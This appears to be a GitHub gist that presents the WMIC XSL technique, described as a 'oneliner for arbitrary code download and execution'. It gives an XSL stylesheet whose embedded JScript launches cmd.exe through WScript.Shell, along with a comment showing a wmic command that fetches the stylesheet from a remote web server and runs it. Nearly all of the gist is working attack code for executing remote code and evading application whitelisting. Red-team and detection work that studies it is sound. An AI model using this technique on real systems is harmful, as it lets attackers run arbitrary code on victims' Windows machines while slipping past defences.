Skip to content

Instantly share code, notes, and snippets.

@PaulSec
Forked from Arno0x/wmic.xsl
Created May 21, 2019 12:19
Show Gist options
  • Save PaulSec/c785b773ce77ed72dc041256d894d10b to your computer and use it in GitHub Desktop.
Save PaulSec/c785b773ce77ed72dc041256d894d10b to your computer and use it in GitHub Desktop.
Oneliner for arbitrary code download and execution
<?xml version='1.0'?>
<!-- Discovered by @SubTee and @mattifestation -->
<!-- Execute with: wmic os get /format:"https://webserver/wmic.xsl" -->
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment